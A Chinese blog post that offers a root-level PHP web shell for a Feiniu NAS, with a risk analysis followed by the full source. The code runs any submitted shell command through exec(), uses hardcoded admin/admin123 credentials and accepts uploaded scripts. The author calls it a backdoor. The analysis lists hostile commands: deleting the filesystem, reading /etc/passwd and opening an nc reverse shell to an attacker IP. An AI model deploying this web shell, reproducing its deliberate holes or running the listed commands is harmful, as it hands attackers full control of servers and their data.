• 首页 > 内容
  • 给飞牛添加一个web的shell执行工具 root权限-作死版

    (图1)

    (图2)

    (图3)

    这个 PHP 文件实现了一个网页版 Shell 命令执行工具,允许用户通过浏览器输入并执行 Shell 命令,同时支持脚本的保存、加载、导入和删除等管理功能。但代码中明确标注了 “完全取消命令限制,极度危险”,存在严重的安全风险。以下是详细分析:

    一、核心功能解析

    该工具的主要功能包括:

    1. 用户认证

    提供登录页面,默认用户名admin,密码admin123(通过password_hash加密存储)。登录后通过 Session 维持认证状态,支持退出登录功能。

    2. 命令执行

    核心功能:用户在文本框输入 Shell 命令,提交后通过 PHP 的exec()函数直接执行(exec($command . ' 2>&1', ...),将标准错误stderr合并到标准输出stdout)。执行结果会显示在页面上,包括输出内容、执行耗时和返回码(0 表示成功,非 0 表示失败)。

    3. 脚本管理

    保存脚本:将输入的命令保存为.sh脚本(存储在scripts/目录),需指定脚本名称(仅允许字母、数字、下划线等字符)。加载 / 删除脚本:可加载已保存的脚本到命令框,或删除不需要的脚本。导入脚本:支持上传.sh文件到服务器,保存到scripts/目录。

    4. 日志记录

    执行的命令会被记录到日志文件(shell_execution.log),包括时间、执行 IP、用户、命令内容、输出(截断为 1KB)和执行结果(成功 / 失败)。

    5. 前端交互

    提供清空命令、全选命令、切换深色 / 浅色主题等辅助功能。显示已保存的脚本列表(包含名称、大小、修改时间)和最近 5 条执行历史。

    二、严重安全风险

    代码中明确标注 “极度危险”,主要风险点如下:

    1. 无限制命令执行(最致命)

    完全未对用户输入的命令进行过滤或限制,允许执行任意 Shell 命令。
    例如:执行rm -rf /可删除服务器所有文件;执行cat /etc/passwd可查看系统用户信息;执行nc [攻击者IP] [端口] -e /bin/sh可反弹 Shell,让攻击者完全控制服务器。

    2. 弱认证机制

    默认用户名 / 密码为admin/admin123,属于弱密码,易被暴力破解。仅通过简单 Session 认证,无验证码、登录次数限制等防护,攻击者可轻易获取访问权限。

    3. 脚本管理的附加风险

    允许上传和保存.sh脚本,若脚本包含恶意命令(如上述危险命令),执行后会直接危害服务器安全。虽然通过basename()处理脚本名称,一定程度避免路径遍历,但无法阻止恶意脚本内容的执行。

    4. 日志与文件权限风险

    日志文件可能记录敏感命令或输出(如数据库密码、隐私数据),若权限设置不当(如0777),可能被未授权用户读取。脚本目录权限为0755,可能允许其他用户访问或修改脚本文件。

    三、总结

    该工具本质是一个网页版 “后门”,功能上方便用户远程执行命令和管理脚本,但由于完全取消命令限制,且认证机制薄弱,一旦部署在可被公共网络访问的服务器上,会导致服务器被入侵、数据泄露、系统崩溃等严重后果。


    警告:绝对不要在生产环境或联网服务器上使用此工具,仅可在本地隔离环境(如虚拟机)中用于安全测试或学习目的。



    <?php
    // shell_executor.php
    session_start();
    date_default_timezone_set('Asia/Shanghai');
    // 配置参数(完全取消命令限制,极度危险!)
    $config = [
        'scripts_dir' => __DIR__ . '/scripts/', // 脚本存储目录
        'max_output_size' => 1024 * 1024, // 1MB
        'log_file' => __DIR__ . '/shell_execution.log',
        'require_auth' => true,
        'username' => 'admin',
        'password' => password_hash('admin123', PASSWORD_DEFAULT),
    ];
    // 创建脚本目录(如果不存在)
    if (!file_exists($config['scripts_dir'])) {
        mkdir($config['scripts_dir'], 0755, true);
    }
    // 认证处理
    if ($config['require_auth'] && !isset($_SESSION['authenticated'])) {
        if ($_SERVER['REQUEST_METHOD'] === 'POST' && isset($_POST['username'], $_POST['password'])) {
            if ($_POST['username'] === $config['username'] && password_verify($_POST['password'], $config['password'])) {
                $_SESSION['authenticated'] = true;
                header('Location: ' . $_SERVER['PHP_SELF']);
                exit;
            } else {
                $auth_error = '用户名或密码错误';
            }
        } else {
            ?>
    <!DOCTYPE html>
    <html>
    <head>
        <title>Shell执行工具 - 登录</title>
        <style>
            body { font-family: Arial, sans-serif; max-width: 400px; margin: 50px auto; }
            .login-box { padding: 20px; border: 1px solid #ddd; border-radius: 5px; }
            .error { color: red; margin-bottom: 10px; }
            input { width: 100%; padding: 8px; margin-bottom: 10px; box-sizing: border-box; }
            button { width: 100%; padding: 10px; background-color: #4CAF50; color: white; border: none; border-radius: 4px; cursor: pointer; }
        </style>
    </head>
    <body>
        <div class="login-box">
            <h2>Shell执行工具登录</h2>
            <?php if (isset($auth_error)): ?>
                <div class="error"><?php echo htmlspecialchars($auth_error); ?></div>
            <?php endif; ?>
            <form method="post">
                <input type="text" name="username" placeholder="用户名" required>
                <input type="password" name="password" placeholder="密码" required>
                <button type="submit">登录</button>
            </form>
        </div>
    </body>
    </html>
            <?php
            exit;
        }
    }
    // 记录日志
    function log_action($command, $output, $success) {
        global $config;
        $log_entry = date('Y-m-d H:i:s') . ' - ' . 
                     (isset($_SERVER['REMOTE_ADDR']) ? $_SERVER['REMOTE_ADDR'] : 'CLI') . ' - ' .
                     (isset($_SESSION['authenticated']) ? $_SESSION['username'] : 'guest') . ' - ' .
                     ($success ? 'SUCCESS' : 'ERROR') . ' - ' .
                     $command . PHP_EOL;
        // 限制日志中输出内容的大小
        $output = substr($output, 0, 1024);
        $log_entry .= "Output: " . $output . PHP_EOL . str_repeat('-', 50) . PHP_EOL;
        file_put_contents($config['log_file'], $log_entry, FILE_APPEND);
    }
    // 脚本管理功能
    $script_message = '';
    $scripts = [];
    // 保存脚本
    if (isset($_POST['save_script'])) {
        $script_name = trim($_POST['script_name']);
        $script_content = trim($_POST['command']);
        if (empty($script_name)) {
            $script_message = "错误: 请输入脚本名称";
        } elseif (preg_match('/[^a-zA-Z0-9_\-\.]/', $script_name)) {
            $script_message = "错误: 脚本名称只能包含字母、数字、下划线、连字符和点";
        } else {
            $script_path = $config['scripts_dir'] . $script_name . '.sh';
            if (file_put_contents($script_path, $script_content) !== false) {
                $script_message = "脚本已保存: $script_name.sh";
            } else {
                $script_message = "错误: 无法保存脚本";
            }
        }
    }
    // 删除脚本
    if (isset($_GET['delete_script'])) {
        $script_name = basename($_GET['delete_script']);
        $script_path = $config['scripts_dir'] . $script_name;
        if (file_exists($script_path) && is_writable($script_path)) {
            unlink($script_path);
            $script_message = "脚本已删除: $script_name";
        } else {
            $script_message = "错误: 无法删除脚本";
        }
    }
    // 加载脚本
    if (isset($_GET['load_script'])) {
        $script_name = basename($_GET['load_script']);
        $script_path = $config['scripts_dir'] . $script_name;
        if (file_exists($script_path) && is_readable($script_path)) {
            $_POST['command'] = file_get_contents($script_path);
        } else {
            $script_message = "错误: 无法加载脚本";
        }
    }
    // 获取脚本列表
    if ($handle = opendir($config['scripts_dir'])) {
        while (false !== ($entry = readdir($handle))) {
            if ($entry != "." && $entry != ".." && pathinfo($entry, PATHINFO_EXTENSION) == 'sh') {
                $scripts[] = [
                    'name' => pathinfo($entry, PATHINFO_FILENAME),
                    'path' => $entry,
                    'size' => filesize($config['scripts_dir'] . $entry),
                    'mtime' => filemtime($config['scripts_dir'] . $entry)
                ];
            }
        }
        closedir($handle);
        // 按修改时间排序(最新的在前)
        usort($scripts, function($a, $b) {
            return $b['mtime'] - $a['mtime'];
        });
    }
    // 执行命令
    $result = ['output' => '', 'success' => false, 'execution_time' => 0];
    if ($_SERVER['REQUEST_METHOD'] === 'POST' && isset($_POST['command']) && !isset($_POST['save_script'])) {
        $command = trim($_POST['command']);
        // 完全取消所有命令限制,直接执行用户输入的命令
        $start_time = microtime(true);
        exec($command . ' 2>&1', $output_lines, $return_var);
        $end_time = microtime(true);
        $result['execution_time'] = round($end_time - $start_time, 3);
        $result['output'] = implode("\n", $output_lines);
        $result['success'] = ($return_var === 0);
        // 限制输出大小
        if (strlen($result['output']) > $config['max_output_size']) {
            $result['output'] = substr($result['output'], 0, $config['max_output_size']) . "\n\n... 输出内容过大,已截断";
        }
        log_action($command, $result['output'], $result['success']);
    }
    ?>
    <!DOCTYPE html>
    <html>
    <head>
        <title>Shell执行工具</title>
        <meta charset="UTF-8">
        <meta name="viewport" content="width=device-width, initial-scale=1.0">
        <style>
            body { font-family: Arial, sans-serif; margin: 0; padding: 20px; background-color: #f5f5f5; }
            .container { max-width: 1200px; margin: 0 auto; }
            .header { background-color: #333; color: white; padding: 15px; border-radius: 5px 5px 0 0; }
            .content { background-color: white; padding: 20px; border-radius: 0 0 5px 5px; box-shadow: 0 2px 5px rgba(0,0,0,0.1); }
            .command-box { margin-bottom: 20px; }
            textarea { width: 100%; height: 150px; padding: 10px; margin-bottom: 10px; box-sizing: border-box; border: 1px solid #ddd; border-radius: 4px; font-family: monospace; }
            .button-group { display: flex; flex-wrap: wrap; gap: 10px; margin-bottom: 10px; }
            button, input[type="submit"] { padding: 10px 15px; background-color: #4CAF50; color: white; border: none; border-radius: 4px; cursor: pointer; }
            button:hover, input[type="submit"]:hover { background-color: #45a049; }
            .btn-danger { background-color: #f44336; }
            .btn-danger:hover { background-color: #d32f2f; }
            .btn-primary { background-color: #2196F3; }
            .btn-primary:hover { background-color: #0b7dda; }
            .btn-secondary { background-color: #607D8B; }
            .btn-secondary:hover { background-color: #4b636e; }
            .result-box { margin-top: 20px; }
            .result-header { font-weight: bold; margin-bottom: 10px; }
            .result-output { background-color: #f9f9f9; border: 1px solid #ddd; padding: 10px; min-height: 100px; max-height: 400px; overflow: auto; font-family: monospace; white-space: pre-wrap; }
            .status { margin-top: 10px; padding: 5px; border-radius: 3px; }
            .success { background-color: #d4edda; color: #155724; }
            .error { background-color: #f8d7da; color: #721c24; }
            .footer { margin-top: 20px; text-align: center; color: #666; font-size: 0.9em; }
            .history { margin-top: 20px; }
            .history table { width: 100%; border-collapse: collapse; }
            .history th, .history td { border: 1px solid #ddd; padding: 8px; text-align: left; }
            .history th { background-color: #f2f2f2; }
            .scripts { margin-top: 20px; }
            .scripts table { width: 100%; border-collapse: collapse; }
            .scripts th, .scripts td { border: 1px solid #ddd; padding: 8px; text-align: left; }
            .scripts th { background-color: #f2f2f2; }
            .script-form { margin-top: 10px; }
            .script-form input[type="text"] { padding: 8px; border: 1px solid #ddd; border-radius: 4px; width: 200px; margin-right: 10px; }
            .message { padding: 10px; margin-bottom: 10px; border-radius: 4px; }
            .message-success { background-color: #d4edda; color: #155724; }
            .message-error { background-color: #f8d7da; color: #721c24; }
            .upload-form { margin-top: 10px; }
            .upload-form input[type="file"] { margin-right: 10px; }
        </style>
    </head>
    <body>
        <div class="container">
            <div class="header">
                <h1>Shell执行工具</h1>
            </div>
            <div class="content">
                <?php if (!empty($script_message)): ?>
                <div class="message <?php echo strpos($script_message, '错误') !== false ? 'message-error' : 'message-success'; ?>">
                    <?php echo htmlspecialchars($script_message); ?>
                </div>
                <?php endif; ?>
                <div class="button-group">
                    <button id="clear-btn">清空命令</button>
                    <button id="select-all-btn">全选命令</button>
                    <button id="toggle-theme-btn">切换主题</button>
                </div>
                <div class="command-box">
                    <form method="post" enctype="multipart/form-data">
                        <textarea name="command" placeholder="输入要执行的Shell命令..."><?php echo isset($_POST['command']) ? htmlspecialchars($_POST['command']) : ''; ?></textarea>
                        <div class="button-group">
                            <input type="submit" value="执行命令">
                            <div class="script-form">
                                <input type="text" name="script_name" placeholder="脚本名称">
                                <input type="submit" name="save_script" value="保存为脚本" class="btn-primary">
                            </div>
                            <div class="upload-form">
                                <input type="file" name="upload_script" accept=".sh">
                                <input type="submit" name="upload" value="导入脚本" class="btn-secondary">
                            </div>
                        </div>
                    </form>
                </div>
                <?php if (isset($result['output'])): ?>
                <div class="result-box">
                    <div class="result-header">
                        执行结果 (耗时: <?php echo $result['execution_time']; ?> 秒)
                    </div>
                    <div class="result-output">
                        <?php echo htmlspecialchars($result['output']); ?>
                    </div>
                    <div class="status <?php echo $result['success'] ? 'success' : 'error'; ?>">
                        <?php echo $result['success'] ? '命令执行成功 (返回码: 0)' : '命令执行失败 (返回码: ' . (isset($return_var) ? $return_var : '未知') . ')'; ?>
                    </div>
                </div>
                <?php endif; ?>
                <div class="scripts">
                    <h3>已保存的脚本</h3>
                    <?php if (!empty($scripts)): ?>
                    <table>
                        <tr>
                            <th>名称</th>
                            <th>大小</th>
                            <th>修改时间</th>
                            <th>操作</th>
                        </tr>
                        <?php foreach ($scripts as $script): ?>
                        <tr>
                            <td><?php echo htmlspecialchars($script['name']); ?></td>
                            <td><?php echo round($script['size'] / 1024, 2); ?> KB</td>
                            <td><?php echo date('Y-m-d H:i:s', $script['mtime']); ?></td>
                            <td>
                                <a href="?load_script=<?php echo urlencode($script['path']); ?>" class="btn-primary">加载</a>
                                <a href="?delete_script=<?php echo urlencode($script['path']); ?>" class="btn-danger" onclick="return confirm('确定要删除这个脚本吗?')">删除</a>
                            </td>
                        </tr>
                        <?php endforeach; ?>
                    </table>
                    <?php else: ?>
                    <p>暂无保存的脚本</p>
                    <?php endif; ?>
                </div>
                <div class="history">
                    <h3>最近执行历史</h3>
                    <?php
                    if (file_exists($config['log_file'])) {
                        $log_lines = array_reverse(file($config['log_file'], FILE_IGNORE_NEW_LINES));
                        $history = [];
                        foreach ($log_lines as $line) {
                            if (preg_match('/^(\d{4}-\d{2}-\d{2} \d{2}:\d{2}:\d{2}) - (.*?) - (.*?) - (SUCCESS|ERROR) - (.*)$/', $line, $matches)) {
                                $history[] = [
                                    'time' => $matches[1],
                                    'ip' => $matches[2],
                                    'user' => $matches[3],
                                    'status' => $matches[4],
                                    'command' => $matches[5]
                                ];
                                if (count($history) >= 5) break;
                            }
                        }
                        if (!empty($history)) {
                            echo '<table>';
                            echo '<tr><th>时间</th><th>IP地址</th><th>用户</th><th>状态</th><th>命令</th></tr>';
                            foreach ($history as $entry) {
                                $status_class = $entry['status'] === 'SUCCESS' ? 'success' : 'error';
                                echo '<tr>';
                                echo '<td>' . htmlspecialchars($entry['time']) . '</td>';
                                echo '<td>' . htmlspecialchars($entry['ip']) . '</td>';
                                echo '<td>' . htmlspecialchars($entry['user']) . '</td>';
                                echo '<td class="' . $status_class . '">' . htmlspecialchars($entry['status']) . '</td>';
                                echo '<td>' . htmlspecialchars($entry['command']) . '</td>';
                                echo '</tr>';
                            }
                            echo '</table>';
                        } else {
                            echo '<p>暂无执行历史</p>';
                        }
                    } else {
                        echo '<p>日志文件不存在或无法访问</p>';
                    }
                    ?>
                </div>
            </div>
            <div class="footer">
                <p><strong>警告:此工具已完全取消所有命令限制,存在致命安全风险!</strong></p>
                <p>请勿在任何与公共网络连接的服务器上使用此工具,可能导致服务器被入侵和数据泄露!</p>
                <?php if ($config['require_auth']): ?>
                <p><a href="?logout=1">退出登录</a></p>
                <?php endif; ?>
            </div>
        </div>
        <script>
            // 清空命令文本框
            document.getElementById('clear-btn').addEventListener('click', function() {
                document.querySelector('textarea[name="command"]').value = '';
            });
            // 全选命令文本框内容
            document.getElementById('select-all-btn').addEventListener('click', function() {
                const textarea = document.querySelector('textarea[name="command"]');
                textarea.select();
            });
            // 切换深色/浅色主题
            document.getElementById('toggle-theme-btn').addEventListener('click', function() {
                document.body.classList.toggle('dark-theme');
                const elements = document.querySelectorAll('body, .content, .result-output, .scripts table, .history table');
                elements.forEach(el => {
                    el.classList.toggle('dark-bg');
                    el.classList.toggle('dark-text');
                });
                const darkModeEnabled = document.body.classList.contains('dark-theme');
                localStorage.setItem('darkMode', darkModeEnabled);
            });
            // 检查用户偏好的主题
            if (localStorage.getItem('darkMode') === 'true') {
                document.body.classList.add('dark-theme');
                const elements = document.querySelectorAll('body, .content, .result-output, .scripts table, .history table');
                elements.forEach(el => {
                    el.classList.add('dark-bg');
                    el.classList.add('dark-text');
                });
            }
            // 添加深色主题样式
            const style = document.createElement('style');
            style.textContent = `
                .dark-theme {
                    background-color: #1e1e1e;
                    color: #e0e0e0;
                }
                .dark-bg {
                    background-color: #2d2d2d !important;
                    color: #e0e0e0 !important;
                }
                .dark-text {
                    color: #e0e0e0 !important;
                }
                .dark-theme .scripts th, .dark-theme .history th {
                    background-color: #3a3a3a !important;
                }
                .dark-theme .scripts td, .dark-theme .history td {
                    border-color: #4a4a4a !important;
                }
                .dark-theme .result-output {
                    background-color: #1a1a1a !important;
                    border-color: #4a4a4a !important;
                }
            `;
            document.head.appendChild(style);
        </script>
        <?php
        // 处理脚本导入
        if (isset($_POST['upload']) && isset($_FILES['upload_script'])) {
            $file = $_FILES['upload_script'];
            if ($file['error'] === UPLOAD_ERR_OK) {
                $fileName = pathinfo($file['name'], PATHINFO_FILENAME);
                $fileExt = pathinfo($file['name'], PATHINFO_EXTENSION);
                if ($fileExt !== 'sh') {
                    echo '<script>alert("错误: 请上传.sh格式的脚本文件");</script>';
                } else {
                    $scriptPath = $config['scripts_dir'] . $fileName . '.sh';
                    if (move_uploaded_file($file['tmp_name'], $scriptPath)) {
                        echo '<script>alert("脚本导入成功");</script>';
                    } else {
                        echo '<script>alert("错误: 无法导入脚本");</script>';
                    }
                }
            } else {
                echo '<script>alert("上传错误: ' . $file['error'] . '");</script>';
            }
        }
        // 处理退出登录
        if (isset($_GET['logout']) && $config['require_auth']) {
            session_destroy();
            header('Location: ' . $_SERVER['PHP_SELF']);
            exit;
        }
        ?>
    </body>
    </html>


    (图4)index.rar



    加载中~

    版权声明:本文内容由互联网用户自发贡献,该文观点仅代表作者本人。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如发现本站有涉嫌抄袭侵权/违法违规的内容, 请发送邮件至 1963849530@qq.com 举报,一经查实,本站将立刻删除。如若转载,请注明出处:https://lzq520.cn/narong/135.html

    相关推荐

    加载中~